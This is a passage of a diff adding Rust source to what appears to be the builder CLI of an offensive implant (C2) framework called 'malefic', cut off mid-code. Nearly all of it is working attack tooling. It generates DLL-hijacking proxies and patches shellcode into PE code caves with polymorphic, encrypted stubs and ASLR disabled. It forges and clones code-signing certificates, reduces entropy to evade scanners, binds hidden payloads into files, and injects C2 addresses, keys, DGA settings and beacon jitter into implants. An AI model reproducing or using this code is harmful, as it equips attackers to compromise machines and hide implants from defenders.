.map(|c| c.resource_dir.clone()) + .unwrap_or_else(|| "resources/proxydll".to_string()); + let _pack_resources = proxydll_config.map_or(false, |c| c.pack_resources); + let hijack_dllmain = + *hijack_dll_main || proxydll_config.map_or(false, |c| c.hijack_dllmain); + + // Use implant.prelude configuration to determine if prelude should be enabled + // Clone the prelude path to avoid borrow issues + let prelude_path = yaml_config.implants.prelude.clone(); + let use_prelude = !prelude_path.is_empty(); + + // Generate spites if prelude is configured + if use_prelude { + log_step!("Generating spites for ProxyDLL prelude..."); + prelude( + yaml_config, + &version, + source, + &prelude_path, + "resources", + "maliceofinternal", + "spite.bin", + None, + )?; + } + + log_info!("Generating ProxyDLL for {}", raw_dll_path); + let exports: Vec<&str> = if hijacked_funcs.is_empty() { + Vec::new() + } else { + hijacked_funcs.split(',').map(|s| s.trim()).collect() + }; + + // Generate the proxy DLL + tool::proxydll::generator::update_proxydll( + &raw_dll_path, + &proxied_dll_path, + &proxy_dll_name, + &exports, + use_native_thread, + use_block, + use_prelude, + hijack_dllmain, + )?; + + Ok(()) + } + LoaderCommands::Patch { + file, + input, + output, + find_caves, + add_section, + section_name, + min_cave, + no_disable_aslr, + no_zero_cert, + wait, + technique, + stub_hash, + stub_poly, + stub_encrypt, + evasion, + seed, + } => { + use crate::tool::loader::bdf::evasion::{ + HashAlgorithm, PolyLevel, StubEvasion, + }; + use crate::tool::loader::bdf::pe::{ExecutionTechnique, ThreadWait}; + use crate::tool::loader::PatchLoader; + + let thread_wait = if wait == "wait" { + ThreadWait::WaitInfinite + } else if let Some(secs) = wait.strip_prefix("sleep:") { + let n: u32 = secs.parse().map_err(|_| { + anyhow::anyhow!( + "Invalid sleep seconds '{}', expected e.g. 'sleep:5'", + secs + ) + })?; + ThreadWait::Sleep(n) + } else { + ThreadWait::None + }; + + let exec_technique = ExecutionTechnique::from_str(technique)?; + + // Build evasion config: preset first, then individual flags override + let mut stub_evasion = StubEvasion::from_preset(evasion)?; + if stub_hash != "ror13" { + stub_evasion.hash_algorithm = HashAlgorithm::from_str(stub_hash)?; + } + if *stub_poly { + stub_evasion.poly_level = PolyLevel::Full; + } + if *stub_encrypt { + stub_evasion.encrypt = true; + } + if *seed != 0 { + stub_evasion.seed = *seed; + } + + let loader = PatchLoader { + target_binary: Some(file.clone()), + add_section: *add_section, + section_name: section_name.clone(), + min_cave_size: *min_cave, + disable_aslr: !*no_disable_aslr, + zero_cert: !*no_zero_cert, + thread_wait, + execution_technique: exec_technique, + evasion: stub_evasion, + }; + + if *find_caves { + let caves = loader.find_caves()?; + if caves.is_empty() { + log_info!( + "No suitable code caves found (min size: {} bytes)", + min_cave + ); + } else { + log_info!( + "Found {} code cave(s) (min size: {} bytes):", + caves.len(), + min_cave + ); + for (i, cave) in caves.iter().enumerate() { + println!( + " {}. Section: {:8} | FileOff: 0x{:08X} | VA: 0x{:08X} | Size: {} bytes", + i + 1, cave.section_name, cave.start, cave.virtual_address, cave.size + ); + } + } + return Ok(()); + } + + let shellcode = { + let input_path = input.as_ref().ok_or_else(|| { + anyhow::anyhow!("--input (-i) is required for patching") + })?; + std::fs::read(input_path).map_err(|e| { + anyhow::anyhow!("Failed to read shellcode '{}': {}", input_path, e) + })? + }; + + let patched = loader.patch(&shellcode)?; + + let output_path = output + .clone() + .unwrap_or_else(|| format!("{}.patched", file)); + std::fs::write(&output_path, &patched)?; + log_success!("Patched -> {} ({} bytes)", output_path, patched.len()); + + Ok(()) + } + } + } + }; + + if result.is_ok() { + log_success!("Configuration generation completed successfully"); + } + result +} + +fn parse_build( + config: &mut Implant, + build: &BuildCommands, + target: &String, + build_lib: bool, + dev_build: bool, +) -> anyhow::Result<()> { + let build_config = config + .build + .as_mut() + .ok_or_else(|| anyhow::anyhow!("build configuration is required but not found"))?; + let profile = BuildProfile::from_dev(dev_build); + + let result = match build { + BuildCommands::Malefic => build_payload( + build_config, + &PayloadType::MALEFIC, + target, + None, + build_lib, + profile, + ), + BuildCommands::Modules { module } => { + use crate::generate::update_module_toml; + // 1. Check if command line argument is empty, decide whether to use config or command line + let mut modules: Vec = Vec::new(); + if !module.is_empty() { + modules.extend(module.split(',').map(|s| s.trim().to_string())); + config.implants.modules = modules.clone(); + } else { + modules = config.implants.modules.clone(); + } + // 2. Update features to toml + update_module_toml(&modules, true); + // 3. Compile malefic-modules + build_payload( + build_config, + &PayloadType::MODULES, + target, + Some(&modules), + build_lib, + profile, + ) + } + BuildCommands::Modules3rd { module } => { + use crate::generate::update_3rd_toml; + // 1. Check if command line argument is empty, decide whether to use config or command line + let mut third_modules: Vec = Vec::new(); + if !module.is_empty() { + third_modules.extend(module.split(',').map(|s| s.trim().to_string())); + config.implants.third_modules = third_modules.clone(); + } else { + third_modules = config.implants.third_modules.clone(); + } + third_modules.push("as_module_dll".to_string()); + update_3rd_toml(&third_modules); + build_payload( + build_config, + &PayloadType::THIRD, + target, + Some(&third_modules), + build_lib, + profile, + ) + } + BuildCommands::Pulse { shellcode } => { + let mut extra_features = Vec::new(); + if *shellcode { + extra_features.push("shellcode".to_string()); + } + let features = if extra_features.is_empty() { + None + } else { + Some(&extra_features) + }; + // shellcode always builds as bin (never lib) + let pulse_lib = if *shellcode { false } else { build_lib }; + build_payload( + build_config, + &PayloadType::PULSE, + target, + features, + pulse_lib, + profile, + )?; + + // Post-process: extract .text section as raw shellcode + if *shellcode { + let exe_path = format!( + "target/{}/{}/malefic-pulse.exe", + target, + profile.output_dir() + ); + let bin_path = format!( + "target/{}/{}/malefic-pulse.bin", + target, + profile.output_dir() + ); + use crate::tool::pe::PEObjCopy; + PEObjCopy::extract_binary(&exe_path, &bin_path)?; + log_success!( + "Pulse shellcode: {} ({} bytes)", + bin_path, + std::fs::metadata(&bin_path).map(|m| m.len()).unwrap_or(0) + ); + } + Ok(()) + } + BuildCommands::Prelude => build_payload( + build_config, + &PayloadType::PRELUDE, + target, + None, + build_lib, + profile, + ), + BuildCommands::ProxyDll => build_payload( + build_config, + &PayloadType::PROXYDLL, + target, + None, + build_lib, + profile, + ), + }; + result +} + +fn parse_tool(tool: &Tool) -> anyhow::Result<()> { + match tool { + Tool::SRDI { + r#type: srdi_type, + input: src_path, + platform, + arch, + output: target_path, + function_name, + userdata_path, + } => { + log_step!("Building SRDI..."); + log_info!( + "Type: {}, Platform: {}, Arch: {}", + srdi_type, + platform, + arch + ); + + let userdata = if userdata_path.is_empty() { + Vec::new() + } else { + log_info!("Loading userdata from {}", userdata_path); + fs::read(userdata_path)? + }; + + let result = match srdi_type { + SrdiType::LINK => { + log_info!("Using LINK SRDI generator"); + link_srdi_generator( + src_path, + *platform, + *arch, + target_path, + function_name, + &userdata, + ) + } + SrdiType::MALEFIC => { + log_info!("Using MALEFIC SRDI generator"); + malefic_srdi_generator( + src_path, + *platform, + *arch, + target_path, + function_name, + &userdata, + ) + } + }; + + if result.is_ok() { + log_success!("SRDI build completed successfully"); + } + result + } + Tool::STRIP { + input, + output, + custom_paths, + } => { + use crate::tool::strip::strip_paths_from_binary; + + log_step!("Stripping paths from binary..."); + log_info!("Input: {}, Output: {}", input, output); + + let custom_path_list: Vec = if custom_paths.is_empty() { + Vec::new() + } else { + custom_paths + .split(',') + .map(|s| s.trim().to_string()) + .collect() + }; + + if !custom_path_list.is_empty() { + log_info!("Custom paths: {:?}", custom_path_list); + } + + let result = strip_paths_from_binary(input, output, &custom_path_list); + + if result.is_ok() { + log_success!("Path stripping completed successfully"); + } + result + } + Tool::OBJCOPY { + output_format, + input, + output, + } => { + use crate::tool::pe::PEObjCopy; + + log_step!("Converting binary file..."); + log_info!( + "Input: {}, Output: {}, Format: {}", + input, + output, + output_format + ); + + let result = match output_format.as_str() { + "binary" => PEObjCopy::extract_binary(input, output), + _ => { + log_error!("Unsupported output format: {}", output_format); + log_info!("Supported formats: binary"); + Err(anyhow::anyhow!( + "Unsupported output format: {}", + output_format + )) + } + }; + + if result.is_ok() { + log_success!("Binary conversion completed successfully"); + } + result + } + Tool::Patch { + file, + name, + key, + server_address, + output, + xor_key, + } => { + use crate::tool::patch::{ + batch_patch_binary, BatchPatchOptions, FieldPatch, PatchField, + }; + + // Collect patches + let mut patches = Vec::new(); + + let resolved_xor_key = resolve_patch_xor_key(xor_key.as_deref())?; + let xor_key_bytes = resolved_xor_key.as_bytes().to_vec(); + + if let Some(name_val) = name { + patches.push(FieldPatch { + field: PatchField::Name, + value: name_val.clone(), + is_hex: false, + default_value: None, + }); + } + + if let Some(key_val) = key { + patches.push(FieldPatch { + field: PatchField::Key, + value: key_val.clone(), + is_hex: false, + default_value: Some(resolved_xor_key.clone()), + }); + } + + if let Some(addr) = server_address { + patches.push(FieldPatch { + field: PatchField::ServerAddress, + value: addr.clone(), + is_hex: false, + default_value: None, + }); + } + + if patches.is_empty() { + log_error!("No fields specified to patch. Use --name, --key, or --server-address"); + return Err(anyhow::anyhow!("no fields specified for patching")); + } + + log_step!("Patching {} field(s) in {}", patches.len(), file); + for patch in &patches { + log_info!(" {} = {}", patch.field.label(), patch.value); + } + + let options = BatchPatchOptions { + file: file.clone(), + patches, + output: output.clone(), + xor_key: xor_key_bytes, + }; + + let outcome = batch_patch_binary(&options)?; + let overwritten = outcome.output_path == std::path::PathBuf::from(file); + + log_success!( + "Successfully patched {} field(s)", + outcome.patched_fields.len() + ); + for (field, offset) in &outcome.patched_fields { + log_info!( + " {} at offset 0x{:X} ({} decimal)", + field.label(), + offset, + offset + ); + } + + if overwritten { + log_info!("Original file overwritten in-place"); + } else { + log_info!("Patched file written to {}", outcome.output_path.display()); + } + Ok(()) + } + Tool::PatchConfig { + file, + config, + from_implant, + blob, + output, + } => { + use crate::tool::patch::{patch_config_blob, ConfigBlobPatchOptions}; + use malefic_config::{encode_runtime_config, CONFIG_BLOB_B64_LEN}; + + log_step!("Patching runtime config blob in {}", file); + + let blob_str = if let Some(b64) = blob { + normalize_blob_string(b64, CONFIG_BLOB_B64_LEN)? + } else { + let cfg = if let Some(path) = from_implant.as_ref() { + let implant = load_yaml_config(path)?; + convert_implant_to_runtime_config(&implant)? + } else { + let cfg_path = config + .as_ref() + .ok_or_else(|| anyhow::anyhow!("--config or --blob must be provided"))?; + load_runtime_config_from_file(cfg_path)? + }; + let encoded = encode_runtime_config(&cfg) + .map_err(|e| anyhow::anyhow!("encode_runtime_config failed: {:?}", e))?; + encoded + }; + + let opts = ConfigBlobPatchOptions { + file: file.clone(), + blob_b64: blob_str, + blob_len: CONFIG_BLOB_B64_LEN, + output: output.clone(), + }; + + let outcome = patch_config_blob(&opts)?; + let overwritten = outcome.output_path == std::path::PathBuf::from(file); + + log_success!( + "Patched runtime config blob at offset 0x{:X} ({} decimal)", + outcome.offset, + outcome.offset + ); + if overwritten { + log_info!("Original file overwritten in-place"); + } else { + log_info!("Patched file written to {}", outcome.output_path.display()); + } + Ok(()) + } + Tool::Encode { + input, + encoding, + output, + format, + list, + } => { + use crate::tool::encoder::{self, EncodingType, OutputFormat, ENCODING_NAMES}; + + if *list { + log_info!("Available encodings:"); + for name in ENCODING_NAMES { + println!(" {}", name); + } + return Ok(()); + } + + let input_path = input + .as_ref() + .ok_or_else(|| anyhow::anyhow!("Input file is required (use -i )"))?; + + let data = std::fs::read(input_path).map_err(|e| { + anyhow::anyhow!("Failed to read input file '{}': {}", input_path, e) + })?; + log_info!("Read {} bytes from {}", data.len(), input_path); + + let enc_type = EncodingType::from_str(encoding)?; + let out_fmt = OutputFormat::from_str(format)?; + + log_step!("Encoding with: {}", enc_type); + let result = encoder::encode_payload(&data, &enc_type)?; + + let base_path = output + .clone() + .unwrap_or_else(|| format!("{}.encoded", input_path)); + + match out_fmt { + OutputFormat::Bin => { + std::fs::write(&base_path, &result.encoded)?; + log_success!("Encoded payload written to: {}", base_path); + + if !result.key.is_empty() { + let key_path = format!("{}.key", base_path); + std::fs::write(&key_path, &result.key)?; + log_info!("Key written to: {}", key_path); + } + if !result.extra.is_empty() { + let extra_path = format!("{}.extra", base_path); + std::fs::write(&extra_path, &result.extra)?; + log_info!("Extra material (nonce/IV) written to: {}", extra_path); + } + } + OutputFormat::C | OutputFormat::Rust => { + let formatted = encoder::format_output(&result, &enc_type, &out_fmt); + if output.is_some() { + std::fs::write(&base_path, &formatted)?; + log_success!("Output written to: {}", base_path); + } else { + println!("{}", formatted); + } + } + OutputFormat::All => { + let stem = std::path::Path::new(&base_path) + .file_stem() + .and_then(|s| s.to_str()) + .unwrap_or(&base_path); + let parent = std::path::Path::new(&base_path) + .parent() + .unwrap_or(std::path::Path::new(".")); + + let bin_path = parent.join(format!("{}.bin", stem)); + std::fs::write(&bin_path, &result.encoded)?; + log_success!("Binary written to: {}", bin_path.display()); + + if !result.key.is_empty() { + let key_path = parent.join(format!("{}.key", stem)); + std::fs::write(&key_path, &result.key)?; + log_info!("Key written to: {}", key_path.display()); + } + if !result.extra.is_empty() { + let extra_path = parent.join(format!("{}.extra", stem)); + std::fs::write(&extra_path, &result.extra)?; + log_info!("Extra material written to: {}", extra_path.display()); + } + + let c_path = parent.join(format!("{}.c", stem)); + let c_output = encoder::format_output(&result, &enc_type, &OutputFormat::C); + std::fs::write(&c_path, &c_output)?; + log_success!("C output written to: {}", c_path.display()); + + let rs_path = parent.join(format!("{}.rs", stem)); + let rs_output = encoder::format_output(&result, &enc_type, &OutputFormat::Rust); + std::fs::write(&rs_path, &rs_output)?; + log_success!("Rust output written to: {}", rs_path.display()); + } + } + + log_success!( + "Encoding complete ({}, {} bytes -> {} bytes)", + enc_type, + data.len(), + result.encoded.len() + ); + Ok(()) + } + Tool::Entropy { + input, + output, + threshold, + strategy, + max_growth, + measure_only, + } => parse_entropy( + input, + output.as_deref(), + *threshold, + strategy, + *max_growth, + *measure_only, + ), + Tool::SigForge { command } => parse_sigforge(command), + Tool::Watermark { command } => parse_watermark(command), + Tool::Binder { command } => parse_binder(command), + Tool::Icon { command } => parse_icon(command), + } +} + +fn parse_sigforge(command: &SigForgeCommands) -> anyhow::Result<()> { + use crate::tool::sigforge::{SignatureExtractor, SignatureInjector}; + + match command { + SigForgeCommands::Extract { input, output } => { + log_step!("Extracting signature from {}", input); + + let signature = SignatureExtractor::extract_from_file(&input)?; + + let output_path = output + .as_ref() + .map(|s| s.clone()) + .unwrap_or_else(|| format!("{}_sig", input)); + SignatureExtractor::save_signature_to_file(&signature, &output_path)?; + + log_success!("Signature extracted to: {}", output_path); + log_info!("Signature size: {} bytes", signature.len()); + Ok(()) + } + + SigForgeCommands::Copy { + source, + target, + output, + } => { + log_step!("Copying signature from {} to {}", source, target); + + let output_path = + SignatureInjector::copy_signature(&source, &target, output.as_deref())?; + + log_success!("Signature copied to: {}", output_path); + Ok(()) + } + + SigForgeCommands::Inject { + signature, + target, + output, + } => { + log_step!("Injecting signature from {} into {}", signature, target); + + let output_path = + SignatureInjector::inject_from_file(&signature, &target, output.as_deref())?; + + log_success!("Signature injected to: {}", output_path); + Ok(()) + } + + SigForgeCommands::Remove { input, output } => { + log_step!("Removing signature from {}", input); + + let _output_path = output + .as_ref() + .map(|s| s.clone()) + .unwrap_or_else(|| format!("{}_unsigned", input)); + + let output_path = SignatureRemover::remove_signature(&input, output.as_deref())?; + + log_info!("Signature removal functionality to be implemented"); + log_success!("Signature removed, output: {}", output_path); + Ok(()) + } + SigForgeCommands::Check { input } => { + let is_signed = SignatureExtractor::check_if_signed(&input)?; + + if is_signed { + log_success!("File {} is signed", input); + } else { + log_success!("File {} is not signed", input); + } + Ok(()) + } + SigForgeCommands::CarbonCopy { + host, + port, + cert_file, + target, + output, + } => { + use crate::tool::sigforge::carbon_copy; + + if host.is_none() && cert_file.is_none() { + return Err(anyhow::anyhow!( + "Either --host or --cert-file must be specified" + )); + } + + if let Some(h) = host.as_ref() { + log_step!("Cloning certificate from {}:{}", h, port); + } else if let Some(f) = cert_file.as_ref() { + log_step!("Loading certificate from file: {}", f); + } + + let result_path = carbon_copy::carbon_copy( + host.as_deref(), + *port, + cert_file.as_deref(), + target, + output.as_deref(), + )?; + + log_success!("Certificate injected, output: {}", result_path); + Ok(()) + } + } +} + +fn parse_entropy( + input: &str, + output: Option<&str>, + threshold: f64, + strategy: &str, + max_growth: f64, + measure_only: bool, +) -> anyhow::Result<()> { + use crate::tool::entropy::{reduce_entropy, shannon_entropy, ReduceStrategy}; + + let data = + std::fs::read(input).map_err(|e| anyhow::anyhow!("Failed to read '{}': {}", input, e))?; + + let current = shannon_entropy(&data); + log_info!( + "Current entropy of '{}': {:.4} (file size: {} bytes)", + input, + current, + data.len() + ); + + if measure_only { + log_success!("Entropy: {:.4}", current); + return Ok(()); + } + + let output_path = output + .map(|s| s.to_string()) + .unwrap_or_else(|| format!("{}_reduced", input)); + + let strat: ReduceStrategy = strategy + .parse() + .map_err(|e: String| anyhow::anyhow!("{}", e))?; + + log_step!( + "Reducing entropy with strategy '{}', threshold {:.2}, max growth {:.1}x", + strat, + threshold, + max_growth + ); + + let (result, final_entropy) = reduce_entropy(&data, threshold, strat, max_growth); + + std::fs::write(&output_path, &result)?; + + log_success!( + "Entropy reduced: {:.4} -> {:.4} (file: {} -> {} bytes)", + current, + final_entropy, + data.len(), + result.len() + ); + log_info!("Output written to: {}", output_path); + + if final_entropy > threshold { + log_warning!( + "Could not reach threshold {:.2} within growth limit (final: {:.4})", + threshold, + final_entropy + ); + } + + Ok(()) +} + +fn parse_watermark(command: &WatermarkCommands) -> anyhow::Result<()> { + use crate::tool::watermark::{read_watermark, write_watermark, WatermarkMethod}; + + match command { + WatermarkCommands::Write { + input, + output, + method, + watermark, + } => { + let m: WatermarkMethod = method + .parse() + .map_err(|e: String| anyhow::anyhow!("{}", e))?; + + log_step!("Writing watermark ({}) to '{}'", m, input); + + write_watermark(input, output, m, watermark.as_bytes())?; + + log_success!("Watermark written to: {}", output); + Ok(()) + } + WatermarkCommands::Read { + input, + method, + size, + } => { + let m: WatermarkMethod = method + .parse() + .map_err(|e: String| anyhow::anyhow!("{}", e))?; + + log_step!("Reading watermark ({}) from '{}'", m, input); + + let data = read_watermark(input, m, *size)?; + + // Try to display as UTF-8, fall back to hex + match String::from_utf8(data.clone()) { + Ok(s) => { + let trimmed = s.trim_end_matches('\0'); + log_success!("Watermark (string): {}", trimmed); + } + Err(_) => { + log_success!("Watermark (hex): {}", hex::encode(&data)); + } + } + Ok(()) + } + } +} + +fn parse_binder(command: &BinderCommands) -> anyhow::Result<()> { + use crate::tool::binder; + + match command { + BinderCommands::Bind { + primary, + secondary, + output, + } => { + log_step!("Binding '{}' + '{}' -> '{}'", primary, secondary, output); + + binder::bind(primary, secondary, output, 0)?; + + let output_size = std::fs::metadata(output)?.len(); + log_success!("Bound file created: {} ({} bytes)", output, output_size); + Ok(()) + } + BinderCommands::Extract { input, output } => { + log_step!("Extracting embedded payload from '{}'", input); + + let payload = binder::extract(input)?; + + std::fs::write(output, &payload)?; + log_success!("Payload extracted to: {} ({} bytes)", output, payload.len()); + Ok(()) + } + BinderCommands::Check { input } => { + log_step!("Checking '{}' for embedded payload", input); + + match binder::check(input)? { + Some(meta) => { + log_success!("File contains embedded payload:"); + log_info!(" Payload offset: 0x{:X}", meta.payload_offset); + log_info!(" Payload size: {} bytes", meta.payload_size); + log_info!(" Original size: {} bytes", meta.original_size); + log_info!(" CRC32: 0x{:08X}", meta.checksum); + } + None => { + log_info!("File does not contain embedded payload"); + } + } + Ok(()) + } + } +} + +fn parse_icon(command: &IconCommands) -> anyhow::Result<()> { + use crate::tool::icon; + + match command { + IconCommands::Replace { input, ico, output } => { + log_step!("Replacing icon in '{}' with '{}'", input, ico); + + icon::replace_icon(input, ico, output)?; + + log_success!("Icon replaced, output: {}", output); + Ok(()) + } + IconCommands::Extract { input, output } => { + log_step!("Extracting icon from '{}'", input); + + icon::extract_icon(input, output)?; + + log_success!("Icon extracted to: {}", output); + Ok(()) + } + } +} + +fn load_runtime_config_from_file(path: &str) -> anyhow::Result { + #[derive(serde::Deserialize)] + #[serde(untagged)] + enum KeyField { + Text(String), + Bytes(Vec), + } + + impl KeyField { + fn into_bytes(self) -> Vec { + match self { + KeyField::Text(s) => s.into_bytes(), + KeyField::Bytes(b) => b, + } + } + } + + #[derive(serde::Deserialize)] + struct GuardrailConfigFile { + #[serde(default)] + ip_addresses: Vec, + #[serde(default)] + usernames: Vec, + #[serde(default)] + server_names: Vec, + #[serde(default)] + domains: Vec, + #[serde(default)] + require_all: bool, + } + + #[derive(serde::Deserialize)] + struct MTLSConfigFile { + enable: bool, + #[serde(default)] + client_cert: Vec, + #[serde(default)] + client_key: Vec, + #[serde(default)] + server_ca: Vec, + } + + #[derive(serde::Deserialize)] + struct TlsConfigFile { + enable: bool, + #[serde(default)] + version: String, + #[serde(default)] + sni: String, + #[serde(default)] + skip_verification: bool, + #[serde(default)] + server_ca: Option>, + #[serde(default)] + mtls_config: Option, + } + + #[derive(serde::Deserialize)] + struct ProxyConfigFile { + proxy_type: String, + host: String, + port: u16, + #[serde(default)] + username: String, + #[serde(default)] + password: String, + } + + #[derive(serde::Deserialize)] + struct SessionConfigFile { + #[serde(default)] + read_chunk_size: Option, + #[serde(default)] + deadline_ms: Option, + #[serde(default)] + connect_timeout_ms: Option, + #[serde(default)] + keepalive: Option, + } + + #[derive(serde::Deserialize)] + #[serde(tag = "kind", rename_all = "lowercase")] + enum TransportConfigFile { + Tcp, + Http { + method: String, + path: String, + version: String, + #[serde(default)] + headers: std::collections::HashMap, + #[serde(default)] + response_read_chunk_size: Option, + #[serde(default)] + response_retry_delay_ms: Option, + }, + Rem { + link: String, + }, + } + + #[derive(serde::Deserialize)] + struct ServerConfigFile { + address: String, + protocol: String, + transport_config: TransportConfigFile, + #[serde(default)] + tls_config: Option, + #[serde(default)] + proxy_config: Option, + #[serde(default)] + domain_suffix: Option, + #[serde(default)] + session_config: Option, + } + + #[derive(serde::Deserialize)] + struct RuntimeConfigFile { + cron: String, + jitter: f64, + #[serde(default)] + keepalive: bool, + retry: u32, + max_cycles: i32, + name: String, + key: KeyField, + #[serde(default)] + use_env_proxy: bool, + #[serde(default)] + proxy_url: String, + #[serde(default)] + proxy_scheme: String, + #[serde(default)] + proxy_host: String, + #[serde(default)] + proxy_port: String, + #[serde(default)] + proxy_username: String, + #[serde(default)] + proxy_password: String, + #[serde(default)] + dga_enable: bool, + #[serde(default)] + dga_key: String, + #[serde(default)] + dga_interval_hours: u32, + guardrail: GuardrailConfigFile, + server_configs: Vec, + #[serde(default)] + max_packet_length: usize, + } + + use malefic_config::{ + GuardrailConfig as CoreGuardrailConfig, HttpRequestConfig as CoreHttpRequestConfig, + MTLSConfig as CoreMtlsConfig, ProtocolType as CoreProtocolType, + ProxyConfig as CoreProxyConfig, RemConfig as CoreRemConfig, + RuntimeConfig as CoreRuntimeConfig, ServerConfig as CoreServerConfig, + SessionConfig as CoreSessionConfig, TcpConfig as CoreTcpConfig, TlsConfig as CoreTlsConfig, + TransportConfig as CoreTransportConfig, + }; + + fn apply_session_config( + mut session_config: CoreSessionConfig, + session_override: Option, + ) -> CoreSessionConfig { + if let Some(session_override) = session_override { + if let Some(read_chunk_size) = session_override.read_chunk_size { + session_config.read_chunk_size = read_chunk_size; + } + if let Some(deadline_ms) = session_override.deadline_ms { + session_config.deadline = Duration::from_millis(deadline_ms); + } + if let Some(connect_timeout_ms) = session_override.connect_timeout_ms { + session_config.connect_timeout = Duration::from_millis(connect_timeout_ms); + } + if let Some(keepalive) = session_override.keepalive { + session_config.keepalive = keepalive; + } + } + session_config + } + + let text = fs::read_to_string(path) + .with_context(|| format!("failed to read runtime config file '{}'", path))?; + + // Try JSON first, then YAML + let parsed: RuntimeConfigFile = serde_json::from_str(&text) + .or_else(|_| serde_yaml::from_str(&text)) + .map_err(|_| { + anyhow::anyhow!( + "failed to parse runtime config file '{}' as JSON or YAML", + path + ) + })?; + + let guardrail = CoreGuardrailConfig { + ip_addresses: parsed.guardrail.ip_addresses, + usernames: parsed.guardrail.usernames, + server_names: parsed.guardrail.server_names, + domains: parsed.guardrail.domains, + require_all: parsed.guardrail.require_all, + }; + let default_keepalive = parsed.keepalive; + + let mut server_configs = Vec::new(); + for server in parsed.server_configs { + let protocol = match server.protocol.to_lowercase().as_str() { + "tcp" => CoreProtocolType::Tcp, + "http" => CoreProtocolType::Http, + "rem" => CoreProtocolType::REM, + _ => { + return Err(anyhow::anyhow!( + "invalid protocol '{}' in runtime config", + server.protocol + )) + } + }; + + let transport_config = match server.transport_config { + TransportConfigFile::Tcp => CoreTransportConfig::Tcp(CoreTcpConfig {}), + TransportConfigFile::Rem { link } => CoreTransportConfig::Rem(CoreRemConfig::new(link)), + TransportConfigFile::Http { + method, + path, + version, + headers, + response_read_chunk_size, + response_retry_delay_ms, + } => { + let mut http = CoreHttpRequestConfig::new(&method, &path, &version); + http.headers = headers; + if let Some(response_read_chunk_size) = response_read_chunk_size { + http.response_read_chunk_size = response_read_chunk_size; + } + if let Some(response_retry_delay_ms) = response_retry_delay_ms { + http.response_retry_delay = Duration::from_millis(response_retry_delay_ms); + } + CoreTransportConfig::Http(http) + } + }; + let session_config = apply_session_config( + CoreSessionConfig::default_for_transport(&transport_config, default_keepalive), + server.session_config, + ); + + let tls_config = server.tls_config.map(|tls| CoreTlsConfig { + enable: tls.enable, + version: tls.version, + sni: tls.sni, + skip_verification: tls.skip_verification, + server_ca: tls.server_ca.unwrap_or_default(), + mtls_config: tls.mtls_config.map(|m| CoreMtlsConfig { + enable: m.enable, + client_cert: m.client_cert, + client_key: m.client_key, + server_ca: m.server_ca, + }), + }); + + let proxy_config = server.proxy_config.map(|p| CoreProxyConfig { + proxy_type: p.proxy_type, + host: p.host, + port: p.port, + username: p.username, + password: p.password, + }); + + server_configs.push(CoreServerConfig { + address: server.address, + protocol, + session_config, + transport_config, + tls_config, + proxy_config, + domain_suffix: server.domain_suffix, + }); + } + + Ok(CoreRuntimeConfig { + cron: parsed.cron, + jitter: parsed.jitter, + keepalive: parsed.keepalive, + retry: parsed.retry, + max_cycles: parsed.max_cycles, + name: parsed.name, + key: parsed.key.into_bytes(), + use_env_proxy: parsed.use_env_proxy, + proxy_url: parsed.proxy_url, + proxy_scheme: parsed.proxy_scheme, + proxy_host: parsed.proxy_host, + proxy_port: parsed.proxy_port, + proxy_username: parsed.proxy_username, + proxy_password: parsed.proxy_password, + dga_enable: parsed.dga_enable, + dga_key: parsed.dga_key, + dga_interval_hours: parsed.dga_interval_hours, + guardrail, + server_configs, + max_packet_length: parsed.max_packet_length, + }) +} + +/// Read a value as PEM content or as a file path. +/// If the string starts with "-----BEGIN" it's treated as inline PEM content. +/// Otherwise it's treated as a file path and read from disk. +fn read_pem_or_file(value: &str) -> Vec { + if value.is_empty() { + return Vec::new(); + } + if value.starts_with("-----BEGIN") { + value.as_bytes().to_vec() + } else { + std::fs::read(value).unwrap_or_default() + } +} + +fn convert_implant_to_runtime_config( + implant: &Implant, +) -> anyhow::Result { + use malefic_config::{ + GuardrailConfig as CoreGuardrailConfig, HttpRequestConfig as CoreHttpRequestConfig, + MTLSConfig as CoreMtlsConfig, ProtocolType as CoreProtocolType, + ProxyConfig as CoreProxyConfig, RuntimeConfig as CoreRuntimeConfig, + ServerConfig as CoreServerConfig, SessionConfig as CoreSessionConfig, + TlsConfig as CoreTlsConfig, TransportConfig as CoreTransportConfig, + }; + use url::Url; + + let basic = &implant.basic; + + let mut server_configs = Vec::new(); + for target in &basic.targets { + let protocol = if target.http.is_some() { + CoreProtocolType::Http + } else if target.rem.is_some() { + CoreProtocolType::REM + } else { + CoreProtocolType::Tcp + }; + + let transport_config = match (&target.http, &target.rem) { + (Some(http), _) => { + let mut config = + CoreHttpRequestConfig::new(&http.method, &http.path, &http.version); + config.headers = http.headers.clone(); + if let Some(response_read_chunk_size) = http.response_read_chunk_size { + config.response_read_chunk_size = response_read_chunk_size; + } + if let Some(response_retry_delay_ms) = http.response_retry_delay_ms { + config.response_retry_delay = Duration::from_millis(response_retry_delay_ms); + } + CoreTransportConfig::Http(config) + } + (_, Some(rem)) => { + CoreTransportConfig::Rem(malefic_config::RemConfig::new(rem.link.clone())) + } + _ => CoreTransportConfig::Tcp(malefic_config::TcpConfig {}), + }; + let mut session_config = + CoreSessionConfig::default_for_transport(&transport_config, basic.keepalive); + if let Some(session) = &target.session { + if let Some(read_chunk_size) = session.read_chunk_size { + session_config.read_chunk_size = read_chunk_size; + } + if let Some(deadline_ms) = session.deadline_ms { + session_config.deadline = Duration::from_millis(deadline_ms); + } + if let Some(connect_timeout_ms) = session.connect_timeout_ms { + session_config.connect_timeout = Duration::from_millis(connect_timeout_ms); + } + if let Some(keepalive) = session.keepalive { + session_config.keepalive = keepalive; + } + } + + let tls_config = target.tls.as_ref().map(|tls| CoreTlsConfig { + enable: tls.enable, + version: tls.version.clone(), + sni: tls.sni.clone(), + skip_verification: tls.skip_verification, + server_ca: tls + .server_ca + .as_ref() + .map(|v| read_pem_or_file(v)) + .unwrap_or_default(), + mtls_config: tls.mtls.as_ref().map(|m| CoreMtlsConfig { + enable: m.enable, + client_cert: read_pem_or_file(&m.client_cert), + client_key: read_pem_or_file(&m.client_key), + server_ca: read_pem_or_file(&m.server_ca), + }), + }); + + let proxy_config = target.proxy.as_ref().and_then(|p| { + if p.url.is_empty() { + None + } else { + Url::parse(&p.url).ok().map(|u| CoreProxyConfig { + proxy_type: u.scheme().to_string(), + host: u.host_str().unwrap_or_default().to_string(), + port: u.port().unwrap_or(0), + username: u.username().to_string(), + password: u.password().unwrap_or_default().to_string(), + }) + } + }); + + server_configs.push(CoreServerConfig { + address: target.address.clone(), + protocol, + session_config, + transport_config, + tls_config, + proxy_config, + domain_suffix: target.domain_suffix.clone(), + }); + } + + let guardrail = 